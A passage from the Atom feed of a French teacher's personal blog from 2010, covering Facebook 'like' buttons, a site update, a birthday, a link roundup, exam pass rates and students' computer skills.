&lt;p&gt;Mais Facebook a décidé d’aller plus loin. En permettant la diffusion de ces petits boutons « J’aime », non seulement on ne se déconnecte plus de Facebook, mais on ne le quitte plus vraiment.&lt;/p&gt;
&lt;p&gt;Extrait de &lt;a href="http://www.ecrans.fr/Pourquoi-nous-n-aimons-pas-les-J,10054.html"&gt;Ecrans.fr&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;D&amp;rsquo;autres en sont friands &lt;sup id="fnref:f4"&gt;&lt;a class="footnote-ref" href="#fn:f4"&gt;4&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Tous les plug-ins de Facebook, et notamment ceux liés à son Open Graph, sont bénéfiques pour votre trafic. Les boutons de recommandation et « j’aime » sont essentiellement des variations de boutons de partage que les gens avaient déjà l’habitude d’employer pour générer du trafic en un rien de temps. Le principale différence est qu’au lieu que ces partages ne soient seulement montrés dans votre flux d’actualité Facebook, qui s’efface dans un laps de temps très court, vos partages s’affichent désormais sur votre page profil que tous les gens peuvent voir. Conséquence : votre lien ne disparait pas. Il demeure dans votre page profil et donc peut continuer d’être cliqué, même six mois plus tard.&lt;/p&gt;
&lt;p&gt;Extrait de &lt;a href="http://www.paperblog.fr/3153157/facebook-les-implications-du-bouton-j-aime-pour-les-marques/"&gt;Paperblog&lt;/a&gt; (tout l&amp;rsquo;article est intéressant, tout n&amp;rsquo;est pas noir ni blanc).&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Deuxième rappel; &lt;strong&gt;qu&amp;rsquo;est ce qu&amp;rsquo;un lien &lt;em&gt;partager&lt;/em&gt;&lt;/strong&gt; ? &lt;/p&gt;
&lt;p&gt;&lt;img alt="facebook-coussin.jpg" class="left" src="/images/facebook-coussin.jpg"&gt; &lt;/p&gt;
&lt;p&gt;C&amp;rsquo;est la petite icône FB, Twitter, Addthis… que l&amp;rsquo;on trouve depuis plus longtemps déjà &lt;sup id="fnref:f5"&gt;&lt;a class="footnote-ref" href="#fn:f5"&gt;5&lt;/a&gt;&lt;/sup&gt; qui permet de partager l&amp;rsquo;article par mail et,ou sur un réseau social.&lt;/p&gt;
&lt;p&gt;Il y a quelques différences entre les deux.&lt;/p&gt;
&lt;p&gt;Le &lt;em&gt;bouton like&lt;/em&gt; est &lt;strong&gt;binaire&lt;/strong&gt;, je me contente de dire &amp;ldquo;J&amp;rsquo;aime / J&amp;rsquo;aime pas&amp;rdquo;. Si c&amp;rsquo;est suffisant pour une vidéo que l&amp;rsquo;on poste sur FB ou une photo, c&amp;rsquo;est assez faible pour un article que l&amp;rsquo;on lit sur un blog &lt;sup id="fnref:f6"&gt;&lt;a class="footnote-ref" href="#fn:f6"&gt;6&lt;/a&gt;&lt;/sup&gt;. Si je décide de partager un lien (par exemple, via les petits boutons AddThis ou autres) je vais (probablement) ajouter un commentaire précisant pourquoi je partage le lien… je peux même le partager / le citer si je ne l&amp;rsquo;aime pas.&lt;/p&gt;
&lt;p&gt;Une deuxième différence consiste au &lt;strong&gt;référencement&lt;/strong&gt; du &lt;em&gt;blog i like&lt;/em&gt;. Si les lecteurs partagent mon article, ils en font des liens et mon référencement s&amp;rsquo;améliore, mon site est jugé plus pertinent au niveau du web. Si j&amp;rsquo;utilise le &lt;em&gt;bouton like&lt;/em&gt;, mon référencement ne bouge pas au niveau du web mais j&amp;rsquo;ai une meilleure visibilité au niveau de FB. &lt;strong&gt;Deuxième point&lt;/strong&gt; en plus pour le &lt;em&gt;only facebook&lt;/em&gt; ! &lt;sup id="fnref:f7"&gt;&lt;a class="footnote-ref" href="#fn:f7"&gt;7&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;p&gt;Pour ces raisons, vous ne trouverez pas de &lt;em&gt;bouton like&lt;/em&gt; sur ce blog… bien que ce soit bien tentant. Alors allez-y, faites un bon vieux lien vers l&amp;rsquo;article ;-)&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Je ne doute pas que ça fonctionne très très bien&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;&lt;em&gt;only facebook&lt;/em&gt; est le risque de ne plus exister (sur le web) si l&amp;rsquo;on n&amp;rsquo;a pas de compte FB. Ce qui est &lt;strong&gt;très obscur&lt;/strong&gt;&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f3"&gt;
&lt;p&gt;Mais bon ce n&amp;rsquo;est pas neuf que la navigation n&amp;rsquo;est pas anonyme puisque nous conservons (presque) tous nos connections aux sites que l&amp;rsquo;on fréquente souvent. Je reste connecté à Google et à FB par exemple.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f3" title="Jump back to footnote 3 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f4"&gt;
&lt;p&gt;Vous voyez, je cite un article même si je ne l&amp;rsquo;aime pas particulièrement &amp;hellip; et l&amp;rsquo;on revient sur ces discussions que l&amp;rsquo;on avait en 1995 sur &lt;a href="http://linuxfr.org/"&gt;LinuxFR&lt;/a&gt; qui ont conduit à remplacer le &lt;em&gt;Aimer&lt;/em&gt; par &lt;em&gt;Pertinenter&lt;/em&gt; :-)&amp;#160;&lt;a class="footnote-backref" href="#fnref:f4" title="Jump back to footnote 4 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f5"&gt;
&lt;p&gt;Vous pouvez la voir en fin d&amp;rsquo;article&amp;#160;&lt;a class="footnote-backref" href="#fnref:f5" title="Jump back to footnote 5 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f6"&gt;
&lt;p&gt;On ne parle pas de Skyblog, hein !&amp;#160;&lt;a class="footnote-backref" href="#fnref:f6" title="Jump back to footnote 6 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f7"&gt;
&lt;p&gt;Pour plus de détails la dessus, lire &lt;a href="http://www.ecrans.fr/Facebook-le-web-social-comme,9928.html"&gt;l&amp;rsquo;article de Olivier Ertzscheid&lt;/a&gt;&amp;#160;&lt;a class="footnote-backref" href="#fnref:f7" title="Jump back to footnote 7 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Mise à jour du site à destination des étudiants</title><link href="http://blog.namok.be/2010-08-26-Mise-a-jour-du-site-a-destination-des-etudiants.html" rel="alternate"/><published>2010-08-26T00:00:00+02:00</published><updated>2010-08-26T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2010-08-26:/2010-08-26-Mise-a-jour-du-site-a-destination-des-etudiants.html</id><summary type="html">Mise à jour du site à destination des étudiants</summary><content type="html">&lt;p&gt;La fin de l&amp;rsquo;année scolaire se termine, c&amp;rsquo;est donc le moment de l&amp;rsquo;évaluation…  et de la refonte de &lt;a href="http://esi.namok.be/"&gt;mon site web&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Lorsque je regarde les stats de visite du &lt;a href="http://esi.namok.be"&gt;site de l&amp;rsquo;école&lt;/a&gt; je constate que peu de pages sont visitées. Si je considère uniquement les pages consacrées spécifiquement à un cours, je remarque que les étudiants se contentent &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt; de télécharger le document renseigné au cours.&lt;/p&gt;
&lt;p&gt;De plus une partie de l&amp;rsquo;information est redondante avec le &lt;a href="http://heb.be/esi"&gt;site officiel de l&amp;rsquo;école&lt;/a&gt; et (maintenant) la plateforme (&lt;a href="http://elearning.esi.heb.be/"&gt;poÉSI&lt;/a&gt;). Je supprime donc tout bonnement la partie « cours », une dizaine de page, de mon site et la remplace par une seule page « ressources » dans laquelle, je déposerai des notes de cours et des (anciens) énoncés.&lt;/p&gt;
&lt;p&gt;Exit également le formulaire d&amp;rsquo;évaluation. Je me targue de faire une évaluation personnelle de mon enseignement chaque année mais le formulaire d&amp;rsquo;évaluation déposé sur le site n&amp;rsquo;est pas une solution. Je ne reçois que 3,4 réponses par an. Il faudra trouver une autre manière de faire. Remarque que ça semble se mette en place au niveau de l&amp;rsquo;école ce qui m&amp;rsquo;évitera de le faire.&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;ai ajouté deux plugins JQuery, &lt;a href="http://www.zazar.net/developers/zrssfeed/"&gt;l&amp;rsquo;un permettant de télécharger un flux RSS&lt;/a&gt; et l&amp;rsquo;autre faisant le &lt;a href="http://www.zazar.net/developers/ztwitterfeed/"&gt;même genre de travail pour Twitter&lt;/a&gt;. Voilà qui me fait un chouette footer.&lt;/p&gt;
&lt;p&gt;Et voilà donc pour la mise à jour 2010. Ah oui ! J&amp;rsquo;ai également trouvé comment gérer des problèmes de compatibilité avec MS IExplorer. Je résouds ça à grand coup de &lt;code&gt;display:none;&lt;/code&gt;. Bien sur le design est plus dénudé sur IE que sur Firefox, Opéra et autre Google Chrome mais tant pis.&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;C&amp;rsquo;est du moins l&amp;rsquo;impression que j&amp;rsquo;en ai au vu desdites statistiques&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>39</title><link href="http://blog.namok.be/2010-08-16-39.html" rel="alternate"/><published>2010-08-16T00:00:00+02:00</published><updated>2010-08-16T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2010-08-16:/2010-08-16-39.html</id><summary type="html">39</summary><content type="html">&lt;p&gt;&lt;img alt="Cadeaux 39 ans" src="/images/DSC_0313.jpg" width="100%"&gt;&lt;/p&gt;
&lt;p&gt;C&amp;rsquo;est fait, je suis passé à l&amp;rsquo;année supérieure. Comme dit Chloé, le &lt;em&gt;dernier anniversaire avec un 3 devant&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Pour maintenir la tradition, ce fut l&amp;rsquo;occasion du traditionnel &lt;em&gt;« pain/saucisses/k-way »&lt;/em&gt;; un barbecue, des baguettes, des saucisses, des sauces… rien d&amp;rsquo;exceptionnel si ce n&amp;rsquo;est que pour mon anniversaire c&amp;rsquo;est &lt;strong&gt;toujours&lt;/strong&gt; sous la pluie. J&amp;rsquo;en profite donc pour remercier les amis de persévérer et de continuer à venir (certains préparent leur équipement longtemps à l&amp;rsquo;avance; bottes, k-way, etc.).&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;ai reçu quelques cadeaux et ceux qui ne me connaissent pas pourraient croire, au vu de la photo, que je suis un &lt;em&gt;pochard&lt;/em&gt;. C&amp;rsquo;est complètement faux !&lt;/p&gt;
&lt;p&gt;Point de vue souhaits de bon anniversaire, l&amp;rsquo;évolution « Internet » (et mon âge sans doute) fait que j&amp;rsquo;ai reçu&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;des souhaits par &lt;strong&gt;mails&lt;/strong&gt; de forums auxquels je suis inscrits &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt; et un personnel de Maïa,&lt;/li&gt;
&lt;li&gt;un souhait sur &lt;a href="http://fora.namok.be/"&gt;fora&lt;/a&gt; ,&lt;/li&gt;
&lt;li&gt;un paquet de « Bon anniversaire » sur &lt;strong&gt;&lt;a href="http://www.facebook.com/"&gt;facebook&lt;/a&gt;&lt;/strong&gt; mais très peu &lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt; de souhaits personnalisés,&lt;/li&gt;
&lt;li&gt;des &lt;strong&gt;cartes postales physiques&lt;/strong&gt; reçue dans la main,&lt;/li&gt;
&lt;li&gt;…et rien dans la boite aux lettres &lt;sup id="fnref:f3"&gt;&lt;a class="footnote-ref" href="#fn:f3"&gt;3&lt;/a&gt;&lt;/sup&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Ce qui m&amp;rsquo;amène à conclure que c&amp;rsquo;est la manière la plus rapide (&lt;em&gt;Bon annif&lt;/em&gt; sur FB) qui est la plus utilisée. Serions nous tous des fainéants fins ?&lt;/p&gt;
&lt;p&gt;La manière de me souhaiter un bon anniversaire qui me fait le plus plaisir reste bien sur le souhait physique autour d&amp;rsquo;une &amp;ldquo;p&amp;rsquo;tite pils&amp;rdquo; bien que j&amp;rsquo;aimerais encore comme un gamin pouvoir aller chercher plusieurs cartes postales dans la boite aux lettres. Ceci dit, pour en recevoir, il faudrait que je pense à en envoyer. Je vais prendre un abonnement &lt;a href="http://macarte.laposte.be/"&gt;au service de la poste qui permet l&amp;rsquo;envoi d&amp;rsquo;une carte postale physique à partir de chez soi&lt;/a&gt; (encore un truc de fainéant ;-) ) .&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Édit&lt;/strong&gt; Hors internet, j&amp;rsquo;ai reçu des &lt;strong&gt;sms&lt;/strong&gt; qui font toujours plaisir.&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Je sais ça fait &lt;em&gt;no life&lt;/em&gt; ;-)&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;En fait un seul qui donnait ceci: &lt;code&gt;select 'Bon Annif', Prenom from TCops where datenaisse = today()&lt;/code&gt;&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f3"&gt;
&lt;p&gt;Peut-être dans les prochains jours car Maïa me le promet par mail&amp;#160;&lt;a class="footnote-backref" href="#fnref:f3" title="Jump back to footnote 3 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Vrac #3</title><link href="http://blog.namok.be/2010-07-07-Vrac-3.html" rel="alternate"/><published>2010-07-07T00:00:00+02:00</published><updated>2010-07-07T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2010-07-07:/2010-07-07-Vrac-3.html</id><summary type="html">Vrac #3</summary><content type="html">&lt;p&gt;Comment rétribuer les auteurs de contenu (article de blog, logiciel, &lt;em&gt;how to&lt;/em&gt;…). &lt;a href="http://eu.techcrunch.com/2010/07/06/is-flattr-the-new-facebook-like-but-this-time-with-real-money/#comment-402656"&gt;Flattr&lt;/a&gt; propose une bonne idée: « Je consacre x € par mois pour &lt;em&gt;flatter&lt;/em&gt; les auteurs. En fin de moi ces x € sont divisés et accordés aux auteurs &lt;em&gt;flattés&lt;/em&gt; ».&lt;/p&gt;
&lt;p&gt;Il semblerait que les &lt;em&gt;news&lt;/em&gt; ne soient plus détenues par les grands journaux (Times, Washington Post…) mais par des &lt;em&gt;&lt;a href="http://fr.wikipedia.org/wiki/Planet"&gt;planet&lt;/a&gt;&lt;/em&gt; (agrégateur de flux) et plus particulièrement &lt;a href="http://www.huffingtonpost.com/"&gt;HuffingtonPost&lt;/a&gt; (qui &lt;a href="http://owni.fr/2010/05/20/deja-beneficiaire-le-huffington-post-fete-ses-5-ans/"&gt;fêtait ses 5 ans le 20 mai&lt;/a&gt;). Une &lt;a href="//lepost.fr"&gt;initiative semblable&lt;/a&gt; existe en France.&lt;/p&gt;
&lt;p&gt;Un &lt;a href="http://www.cnetfrance.fr/news/quand-un-bebe-decouvre-l-ipad-39751831.htm"&gt;iPad dans les mains d&amp;rsquo;une fille de 20 mois&lt;/a&gt; c&amp;rsquo;est bien, un iPad et un IPhone, c&amp;rsquo;est mieux ;-)&lt;/p&gt;
&lt;p&gt;En &lt;em&gt;web&lt;/em&gt;, on parle toujours de MySQL (voire PostgreSQL) mais pour des sites à forte charge, &lt;a href="http://linuxfr.org/2010/04/16/26743.html"&gt;on&lt;/a&gt; parle de &lt;a href="http://cassandra.apache.org/"&gt;Cassandra&lt;/a&gt;. Et dans la foulée, &lt;em&gt;quid&lt;/em&gt; de &lt;a href="http://www.korben.info/vers-une-reprise-en-main-de-notre-identite-sur-le-net.html"&gt;notre identité&lt;/a&gt; ?&lt;/p&gt;
&lt;p&gt;Si je ne sais plus conjuguer et que je n&amp;rsquo;ai pas &lt;a href="http://www.leconjugueur.com/php5/index.php"&gt;leconjugueur.com&lt;/a&gt; (pas d&amp;rsquo;accès web &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt;), je peux installer &lt;a href="http://perso.b2b2c.ca/sarrazip/dev/verbiste.html"&gt;Verbiste&lt;/a&gt; &amp;hellip; ou bien &lt;a href="http://www.leconjugueur.com/frtelechargelinux.php"&gt;Le Conjgueur&lt;/a&gt; en version &lt;em&gt;offline&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Vous pouvez &lt;a href="http://www.korben.info/google-change-image-de-fond.html"&gt;changer l&amp;rsquo;image de fond de votre page Google&lt;/a&gt; &lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;p&gt;Et pour finir, quelques achats; un &lt;a href="http://www.korben.info/tampon-geek.html"&gt;tampon encreur&lt;/a&gt; original ou un &lt;a href="http://shop.lego.com/ByCategory/Product.aspx?p=852771"&gt;bac à glaçons en forme de légos&lt;/a&gt;,&lt;/p&gt;
&lt;p&gt;02:07 &amp;hellip; du dodo.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;From &lt;a href="http://pisani.blog.lemonde.fr/"&gt;Transnet&lt;/a&gt;, &lt;a href="http://linuxfr.org/"&gt;LinuxFr&lt;/a&gt;, &lt;a href="http://www.tux-planet.fr/"&gt;Tux-Planet&lt;/a&gt; et &lt;a href="http://korben.info/"&gt;Tonton Korben&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Si si ça existe encore parfois&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;Sans doute car Bing le propose et que c&amp;rsquo;est inutile et très &lt;em&gt;Windows user&lt;/em&gt;&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Délibérations, juin 2010</title><link href="http://blog.namok.be/2010-06-21-Deliberations-juin-2010.html" rel="alternate"/><published>2010-06-21T00:00:00+02:00</published><updated>2010-06-21T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2010-06-21:/2010-06-21-Deliberations-juin-2010.html</id><summary type="html">Délibérations, juin 2010</summary><content type="html">&lt;p&gt;Les délibérations &lt;em&gt;automatiques&lt;/em&gt; se terminent.&lt;/p&gt;
&lt;p&gt;&lt;a href="2006-06-23-les-delibes-sont-finies.html"&gt;Comme chaque année&lt;/a&gt; tout se passe bien puisque cela se fait de manière automatique il suffit de prendre son mal en patience. Je m&amp;rsquo;intéresse un peu aux différents taux de réussite puisque je fais partie de la &lt;em&gt;CARe&lt;/em&gt; (Cellule d&amp;rsquo;Aide à la Réussite pour les étudiants de première génération de l&amp;rsquo;ÉSI).&lt;/p&gt;
&lt;p&gt;Quelques chiffres au sujet des différents taux de réussite &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt;. Dans l&amp;rsquo;absolu, cela peut paraitre très bas et c&amp;rsquo;est ainsi. Allez ! Hop, on balance &lt;strong&gt;11% de réussite en première session&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Si je regarde d&amp;rsquo;un peu plus près et si je n&amp;rsquo;oublie pas qu&amp;rsquo;il s&amp;rsquo;agit d&amp;rsquo;une première session, je vois que 25% des étudiants ont &lt;strong&gt;moins de 25%&lt;/strong&gt;. Si l&amp;rsquo;on peut dire qu&amp;rsquo;un étudiant ayant moins de 5/20 de moyenne n&amp;rsquo;est pas impliqué dans ses études ou bien a fait un choix qui ne lui convient pas alors on arrive à une moyenne de &lt;strong&gt;25% de réussite en première session&lt;/strong&gt; si l&amp;rsquo;on s&amp;rsquo;abstrait de ces étudiants. Il reste à attendre la seconde session afin d&amp;rsquo;y ajouter tous les étudiants qui ne doivent représenter que 2,3 examens afin de faire &lt;strong&gt;monter cette moyenne&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Si l&amp;rsquo;on est surpris du pourcentage d&amp;rsquo;échec en première session, on doit également être surpris du pourcentage d&amp;rsquo;étudiants ayant moins de 25%. Je reviendrai peut-être (en parlant de la &lt;em&gt;CARe&lt;/em&gt;) sur le profil de nos étudiants et sur leur implication dans leur études.&lt;/p&gt;
&lt;p&gt;Au sujet des &lt;strong&gt;crédits anticipés&lt;/strong&gt; &lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt;, deux étudiants vont chercher quelques crédits en deuxième et la majorité n&amp;rsquo;a pas présenté les examens. Pour la petite histoire, un étudiant qui ne désire pas présenter l&amp;rsquo;examen du crédit anticipé auquel il s&amp;rsquo;est inscrit ne doit ni se présenter ni prévenir le prof en question. Le prof constate l&amp;rsquo;absence et cette absence est d&amp;rsquo;emblée justifiée :-)&lt;/p&gt;
&lt;p&gt;En deuxième session, quelques étudiants réussissent mais je suis toujours surpris de voir que certains étudiants ne tentent pas de réussir leur seconde session. Je me demande ce qui justifie que l&amp;rsquo;on se trompe à ce point d&amp;rsquo;orientation.&lt;/p&gt;
&lt;p&gt;Ceci dit, maintenant, c&amp;rsquo;est une nouvelle année qui commence et l&amp;rsquo;on rencontre de nouvelles têtes. Parmi elles des étudiants qui semblent impliqués et à que je souhaite bon courage, accrochez-vous dès le départ.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;(Je voulais développer plus mais les vacances sont passées et voilà)&lt;/em&gt;&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Je donne des ordres de grandeur afin de préserver la confidentialité ^^&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;Je n&amp;rsquo;ai pas noté le détail car j&amp;rsquo;avais l&amp;rsquo;impression de n&amp;rsquo;entendre que des: &lt;em&gt;« Absence justifiée »&lt;/em&gt;&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Évaluation des outils web mis à la disposition des étudiants</title><link href="http://blog.namok.be/2010-06-04-evaluation-des-outils-web-mis-a-la-disposition-des-etudiants.html" rel="alternate"/><published>2010-06-04T00:00:00+02:00</published><updated>2010-06-04T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2010-06-04:/2010-06-04-evaluation-des-outils-web-mis-a-la-disposition-des-etudiants.html</id><summary type="html">Quid des connaissances informatiques de jeunes étudiants en informatique ?</summary><content type="html">&lt;p&gt;… ou mes étudiants en informatiques ne sont pas des &lt;em&gt;geeks&lt;/em&gt; informatiques.&lt;/p&gt;
&lt;p&gt;Un a priori naturel concernant les étudiants en informatique serait de croire qu&amp;rsquo;ils sont tous un peu &lt;em&gt;geeks&lt;/em&gt;. Je pourrais croire qu&amp;rsquo;un jeune se destinant à des études d&amp;rsquo;informatiques est familier avec divers outils web et/ou avec des aspects informatiques touchant à la programmation.&lt;/p&gt;
&lt;p&gt;Notre (futur) étudiant est-il familier avec :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;la gestion des ses fichiers;&lt;/li&gt;
&lt;li&gt;les outils bureautiques;&lt;/li&gt;
&lt;li&gt;la &amp;ldquo;manipulation&amp;rdquo; de musique, films;&lt;/li&gt;
&lt;li&gt;les outils web (blogs, sites sociaux, etc.);&lt;/li&gt;
&lt;li&gt;les technologies (web et autres);&lt;/li&gt;
&lt;li&gt;etc.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Il y a quelque années d&amp;rsquo;ici nous prétendions qu&amp;rsquo;il ne fallait aucun prérequis informatiques avant d&amp;rsquo;entamer des études en informatiques. Quant est-il aujourd&amp;rsquo;hui ? &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;Je crois qu&amp;rsquo;il n&amp;rsquo;y a toujours pas de prérequis officiels mais que nous supposons tous que les étudiants se destinant à l&amp;rsquo;obtention d&amp;rsquo;un BAC info peuvent utiliser les outils suivants&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;un navigateur internet (&lt;em&gt;browser&lt;/em&gt;); Firefox, Google Chrome, MS Internet Explorer &lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt;;&lt;/li&gt;
&lt;li&gt;un moteur de recherche (on dira maintenant un logiciel d&amp;rsquo;aide à la décision);&lt;/li&gt;
&lt;li&gt;une suite bureautique, OpenOffice, MS Office &lt;sup id="fnref:f3"&gt;&lt;a class="footnote-ref" href="#fn:f3"&gt;3&lt;/a&gt;&lt;/sup&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Voilà pour la base. J&amp;rsquo;en vois parmi vous qui se disent que c&amp;rsquo;est assez évident que ces compétences sont acquise mais cela dépend de la familiarité que l&amp;rsquo;on espère vis à vis de ces outils.&lt;/p&gt;
&lt;p&gt;Lorsque j&amp;rsquo;utilise un &lt;strong&gt;navigateur internet&lt;/strong&gt; (&lt;em&gt;browser&lt;/em&gt;), suis-je attentif aux &lt;em&gt;urls&lt;/em&gt;, à la sécurité &lt;sup id="fnref:f4"&gt;&lt;a class="footnote-ref" href="#fn:f4"&gt;4&lt;/a&gt;&lt;/sup&gt;, aux divers protocoles utilisés (&lt;code&gt;http&lt;/code&gt;, &lt;code&gt;https&lt;/code&gt;, &lt;code&gt;ftp&lt;/code&gt;). Suis-je capable de trouver les mots qui vont bien lorsque j&amp;rsquo;utilise un moteur de recherche ? Suis-je capable de faire des recherches efficaces ?&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;ai régulièrement vu des étudiants qui entrent systématiquement une url dans le champ de recherche Google, histoire d&amp;rsquo;obtenir un site.  Pour moi, c&amp;rsquo;est une mauvaise utilisation.&lt;/p&gt;
&lt;p&gt;Tout le monde est capable d&amp;rsquo;éditer un texte dans un &lt;strong&gt;traitement de texte&lt;/strong&gt; mais ai-je une (bonne) utilisation des styles ? Est-ce que je fais bien la distinction entre un traitement de texte et un éditeur de texte ? Suis-je capable d&amp;rsquo;utiliser un logiciel approprié pour une tâche donnée ou bien je pense que MS Word est un logiciel à tout faire ?&lt;/p&gt;
&lt;p&gt;Les autres outils, spécifiques à un cours donné, ne font évidemment pas partie des prérequis supposés.&lt;/p&gt;
&lt;p&gt;Et quid du &lt;strong&gt;web&lt;/strong&gt; ? On suppose que tout le monde y passe (beaucoup) de temps. J&amp;rsquo;essaie de proposer divers outils aux étudiants afin de favoriser / promouvoir la communication entre étudiants. Les étudiants en informatique me donnent l&amp;rsquo;impression d&amp;rsquo;être assez individualistes, ils me donnent l&amp;rsquo;impression d&amp;rsquo;avoir assez peu de contacts. C&amp;rsquo;est probablement mon status de profs qui me donne cette impression mais bon. Lorsque j&amp;rsquo;en discute avec eux, il ressort &lt;sup id="fnref:f5"&gt;&lt;a class="footnote-ref" href="#fn:f5"&gt;5&lt;/a&gt;&lt;/sup&gt;qu&amp;rsquo;ils n&amp;rsquo;utilisent que MSN et Facebook.&lt;/p&gt;
&lt;p&gt;Pour ce qui est de Facebbok, je cromprends et je n&amp;rsquo;ai pas de soucis avec ça, c&amp;rsquo;est un outil très intéressant mais :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;les utilisateurs ont tendance à croire qu&amp;rsquo;il n&amp;rsquo;y a plus d&amp;rsquo;existence en dehors de Facebook (celui qui n&amp;rsquo;a pas de compte et qui n&amp;rsquo;est pas dans mes amis, n&amp;rsquo;existe pas/plus);&lt;/li&gt;
